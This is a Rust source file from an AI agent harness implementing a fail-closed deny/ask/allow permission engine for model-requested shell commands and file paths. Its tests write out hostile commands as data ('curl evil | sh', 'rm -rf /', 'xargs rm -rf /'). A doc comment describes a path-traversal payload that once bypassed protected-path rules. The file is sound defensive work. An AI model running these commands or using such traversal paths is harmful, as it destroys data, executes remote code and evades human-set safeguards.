supercode_harness/permissions/

rules.rs

//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
//! [last-match] sets are translated at preset-import time" —
//! `crate::permissions::translate` is that translator). This module never
//! implements last-match semantics itself.
//!
//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
//! when every extracted sub-command (a) parsed cleanly, (b) is not
//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
//! matches an explicit `allow` rule or the caller's `default` was itself
//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
//! see the doc comments on each branch below for exactly where.

use super::canon::{self, CanonResult};
use crate::config::glob_match;

/// The three-way outcome the engine can reach for a tool call. Ordered by
/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
/// — NOT by numeric severity in the tier-priority sense (which is a fixed
/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
/// here exists purely to fold multiple sub-command decisions down to "the
/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Decision {
    /// Refuse outright. A hard floor — never bypassed by an approval policy
    /// or a cached "approve for session" grant (mirrors
    /// `Config::tool_deny_patterns`' existing precedent, config.rs).
    Deny,
    /// Requires approval (interactive prompt, or a non-interactive
    /// [`super::approval::PermissionsApprovalHandler`]).
    Ask,
    /// Proceed without prompting.
    Allow,
}

impl Decision {
    /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
    /// `Allow`. Used to fold a compound command's per-sub-command decisions
    /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
    /// deny rule → the whole command is denied" — generalized here to "the
    /// whole command is AT LEAST as strict as its strictest sub-command").
    pub fn stricter(self, other: Decision) -> Decision {
        use Decision::*;
        match (self, other) {
            (Deny, _) | (_, Deny) => Deny,
            (Ask, _) | (_, Ask) => Ask,
            (Allow, Allow) => Allow,
        }
    }
}

/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
/// pattern strings in one of two forms:
///
/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
///   syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
///   canonicalized command/path text (also a glob) against
///   [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
///   `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
///   pseudo-tool names are how path rules (module 11's "read/write path
///   rules") and protected paths (module 13, via
///   `crate::permissions::protected_path_rules`) both reuse this one engine
///   instead of inventing a parallel path-matching mechanism.
/// - `"*"` — matches everything (any tool, any subject).
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct RuleSet {
    /// Hard floor — checked first; a match here can never be overridden.
    pub deny: Vec<String>,
    /// Checked second.
    pub ask: Vec<String>,
    /// Checked last.
    pub allow: Vec<String>,
}

impl RuleSet {
    /// Whether this rule set has no rules in any tier (a no-op engine —
    /// every decision falls through to the caller's default).
    pub fn is_empty(&self) -> bool {
        self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
    }

    /// deny→ask→allow first-match, generically, against `tool` +
    /// `subject` (the canonical command text, a resolved path, or `None`
    /// for a tool call this rule set has no richer subject for — see
    /// `rule_matches`'s doc comment on why a `None` subject only matches
    /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
    /// `None` when nothing in any tier matches — the caller decides the
    /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
    pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
        if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Deny);
        }
        if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Ask);
        }
        if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Allow);
        }
        None
    }
}

/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
/// never matches — a rule that names a command/path constraint cannot be
/// satisfied by a tool call this engine has no command/path text for
/// (conservative: such a rule simply doesn't apply, it does not silently
/// match everything).
fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
    if pattern == "*" {
        return true;
    }
    if let Some(open) = pattern.find('(') {
        if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
            let tool_pat = &pattern[..open];
            if !glob_match(tool_pat, tool) {
                return false;
            }
            return match subject {
                Some(s) => glob_match(cmd_pat, s),
                None => false,
            };
        }
    }
    glob_match(pattern, tool)
}

/// Evaluate a (possibly compound) shell command against `rules`, folding
/// every extracted sub-command's decision down to the single strictest one
/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
/// applies to every sub-command of a `bash` call, not to a `shell` call.
///
/// `default` is the decision to use for a sub-command that parsed cleanly
/// but matched NO rule in any tier — the caller supplies this (typically
/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
/// says anything about this command" is a policy question, not something
/// this engine decides on its own. `default` is never consulted for a
/// sub-command the canonicalizer could not parse, or one it marked opaque —
/// those always contribute at least `Decision::Ask` regardless of `default`
/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
/// let an unparseable or opaque command slip through silently).
pub fn evaluate_command(
    rules: &RuleSet,
    tool: &str,
    raw_command: &str,
    default: Decision,
) -> Decision {
    match canon::canonicalize(raw_command) {
        // Fail-closed: at least `Ask`, regardless of `default` — an
        // `ApprovalPolicy::Never`-derived `Allow` default must not let an
        // unparseable command slip through silently.
        CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
        CanonResult::Ok(subs) => {
            if subs.is_empty() {
                // Nothing to evaluate (blank command) — the caller's
                // default stands unmodified; there is no sub-command to
                // force a stricter floor.
                return default;
            }
            let mut worst = Decision::Allow;
            for sub in &subs {
                let text = sub.canonical_text();
                let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
                let d = if sub.opaque {
                    d.stricter(Decision::Ask)
                } else {
                    d
                };
                // F4 (Fable-5 adversarial review): `protected_paths` must
                // reach the bash write surface too, not just file-tool
                // calls — check every statically-tractable write/read
                // target this sub-command carries (a direct shell redirect,
                // AND a known argv-writer like `tee`/`dd of=`) against the
                // `write(...)`/`read(...)` protected-path rules folded into
                // `rules` (see `crate::agent`'s gate,
                // `protected_path_deny_rules`). See this crate's
                // permissions module doc for what this covers vs. what is
                // deferred to `permissions.sandbox`.
                let d = d
                    .stricter(fold_target_decisions(
                        rules,
                        "write",
                        &sub.write_redirect_targets,
                    ))
                    .stricter(fold_target_decisions(
                        rules,
                        "write",
                        &canon::known_writer_targets(&sub.argv),
                    ))
                    .stricter(fold_target_decisions(
                        rules,
                        "read",
                        &sub.read_redirect_targets,
                    ));
                worst = worst.stricter(d);
            }
            worst
        }
    }
}

/// F4: fold a list of write/read redirect or known-argv-writer targets
/// (`pseudo_tool` is `"write"` or `"read"`, matching
/// [`protected_path_deny_rules`]'s pattern shape) down to the single
/// strictest [`Decision`] any of them triggers. A target this
/// canonicalizer can't statically prove is a real path
/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
/// ``) contributes at least `Ask`, fail-closed, rather than silently
/// matching nothing and falling through to `Allow`. A target that IS
/// concrete but matches no rule contributes `Allow` (the neutral case —
/// this fold only ever ADDS a stricter floor on top of the sub-command's
/// own tool-level decision, it never loosens it or duplicates `default`).
fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
    let mut d = Decision::Allow;
    for t in targets {
        if !canon::is_concrete_path_text(t) {
            d = d.stricter(Decision::Ask);
            continue;
        }
        d = d.stricter(
            rules
                .evaluate(pseudo_tool, Some(t))
                .unwrap_or(Decision::Allow),
        );
    }
    d
}

/// Evaluate a single resolved path against `rules`, as either a `"read"` or
/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
///
/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
/// normalization, canonicalization, or symlink resolution of `path` — it is
/// a pure glob-match against whatever string it is handed. A caller that
/// feeds it a raw, unvalidated model-supplied path argument directly is
/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
/// does not literally glob-match a `.git/**` protected-path rule as a raw
/// string, even though it resolves right back onto the real `.git/config`.
/// **Any caller evaluating a model-supplied tool `path` argument against
/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
/// `path` (lexically AND symlink-following) against the project root before
/// calling this function — never call `evaluate_path` directly on untrusted
/// input. This function itself remains a simple, pure, single-subject
/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
/// callers that already have a KNOWN-safe subject (e.g. one of
/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
/// path) may still call it directly.
pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
    let pseudo_tool = match kind {
        PathKind::Read => "read",
        PathKind::Write => "write",
    };
    rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
}

/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
/// `evaluate_path` doc comment claiming "no canonicalization ... is
/// involved here ... no unparseable case to fail closed on" — the flawed
/// assumption that let a traversal payload bypass `protected_paths`): the
/// safe entry point for evaluating a RAW, model-supplied `path` tool
/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
/// project-relative form, AND the symlink-resolved project-relative form
/// down to the single strictest [`Decision`] (ties broken toward stricter,
/// via [`Decision::stricter`]), so a rule can never be satisfied by
/// matching only one of these three views.
///
/// This is what closes the CRITICAL bug: `write_file
/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
/// subject `"x/../.git/config"` does not match, but the resolved subject
/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
///
/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
/// error, or `raw_path` lexically looks contained but symlink-resolves
/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
/// result is escalated to at least [`Decision::Deny`], never silently
/// falling through to `default`. A path that legitimately resolves outside
/// `root` entirely (e.g. an absolute write elsewhere under
/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
/// the raw-subject match applies to it, exactly as before this fix (no
/// over-block).
pub fn evaluate_path_safe(
    rules: &RuleSet,
    kind: PathKind,
    root: &std::path::Path,
    raw_path: &str,
    default: Decision,
) -> Decision {
    let pseudo_tool = match kind {
        PathKind::Read => "read",
        PathKind::Write => "write",
    };
    evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
}

/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
/// (the permissions gate always does — see `crate::agent`'s
/// `permissions_gate_denial_impl`) call this function a second time with
/// `tool` set to the real tool name and fold the two results together.
pub fn evaluate_path_subject_safe(
    rules: &RuleSet,
    tool: &str,
    root: &std::path::Path,
    raw_path: &str,
    default: Decision,
) -> Decision {
    let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
    match crate::safe_path::resolve_for_matching(root, raw_path) {
        crate::safe_path::PathForMatching::Inside {
            lexical_rel,
            resolved_rel,
        } => {
            decision =
                decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
            if resolved_rel != lexical_rel {
                decision =
                    decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
            }
        }
        crate::safe_path::PathForMatching::Outside => {
            // No root-relative protected-floor pattern can apply to a path
            // that resolves entirely outside `root` — the raw-subject match
            // above already covers any rule authored against an absolute
            // path. Not itself hostile (no over-block).
        }
        crate::safe_path::PathForMatching::Unsafe(_reason) => {
            // FAIL CLOSED: could not prove this path safe (resolution
            // error, or a symlink escape out of `root`) — never fall
            // through to `default`/`Allow`.
            decision = decision.stricter(Decision::Deny);
        }
    }
    decision
}

/// Which access [`evaluate_path`] is checking — matches module 11's
/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PathKind {
    /// A read access (`read_file`, `view_image`, …).
    Read,
    /// A write access (`write_file`, `edit_file`, …).
    Write,
}

/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
/// `write(...)` deny rules a protected-paths glob list expands to — a
/// protected path is unconditionally denied for BOTH read and write, unlike
/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
/// fold the result into a [`RuleSet`]'s `deny` list (see
/// `crate::configfile::materialize_config`), which — because `deny` is
/// always checked first, unconditionally, with no override — makes a
/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
/// already is (config.rs).
pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
    let mut out = Vec::with_capacity(paths.len() * 2);
    for p in paths {
        out.push(format!("read({p})"));
        out.push(format!("write({p})"));
    }
    out
}

#[cfg(test)]
mod tests {
    use super::*;

    fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
        RuleSet {
            deny: deny.iter().map(|s| s.to_string()).collect(),
            ask: ask.iter().map(|s| s.to_string()).collect(),
            allow: allow.iter().map(|s| s.to_string()).collect(),
        }
    }

    #[test]
    fn deny_beats_allow_first_match_tier_priority() {
        // Both a deny and an allow rule match the same subject: deny wins,
        // regardless of which was declared first in the source file (C5:
        // this is tier priority, not insertion order).
        let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn empty_ruleset_falls_back_to_default() {
        let rules = RuleSet::default();
        assert_eq!(
            evaluate_command(&rules, "bash", "ls", Decision::Allow),
            Decision::Allow
        );
        assert_eq!(
            evaluate_command(&rules, "bash", "ls", Decision::Ask),
            Decision::Ask
        );
    }

    #[test]
    fn compound_any_subcommand_deny_denies_whole() {
        let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn unparseable_never_allows_even_under_never_policy() {
        let rules = rs(&[], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
            Decision::Ask
        );
    }

    #[test]
    fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
        let rules = RuleSet::default();
        assert_eq!(
            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
            Decision::Ask
        );
    }

    #[test]
    fn deny_pattern_still_wins_over_opaque_ask_floor() {
        let rules = rs(&["bash(xargs*)"], &[], &[]);
        assert_eq!(
            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn path_rule_read_write_are_independent() {
        let rules = rs(&["read(*.env)"], &[], &[]);
        assert_eq!(
            evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
            Decision::Deny
        );
        assert_eq!(
            evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
            Decision::Allow
        );
    }

    #[test]
    fn protected_path_rules_deny_both_read_and_write() {
        let deny = protected_path_deny_rules(&[".git/**".to_string()]);
        let rules = RuleSet {
            deny,
            ..Default::default()
        };
        assert_eq!(
            evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
            Decision::Deny
        );
        assert_eq!(
            evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn wildcard_star_matches_everything() {
        let rules = rs(&[], &[], &["*"]);
        assert_eq!(
            evaluate_command(&rules, "anything", "whatever", Decision::Ask),
            Decision::Allow
        );
    }

    #[test]
    fn subject_none_never_matches_a_command_pattern() {
        let rules = rs(&[], &[], &["bash(*)"]);
        assert_eq!(rules.evaluate("bash", None), None);
    }

    #[test]
    fn decision_stricter_ordering() {
        assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
        assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
        assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
        assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
    }
}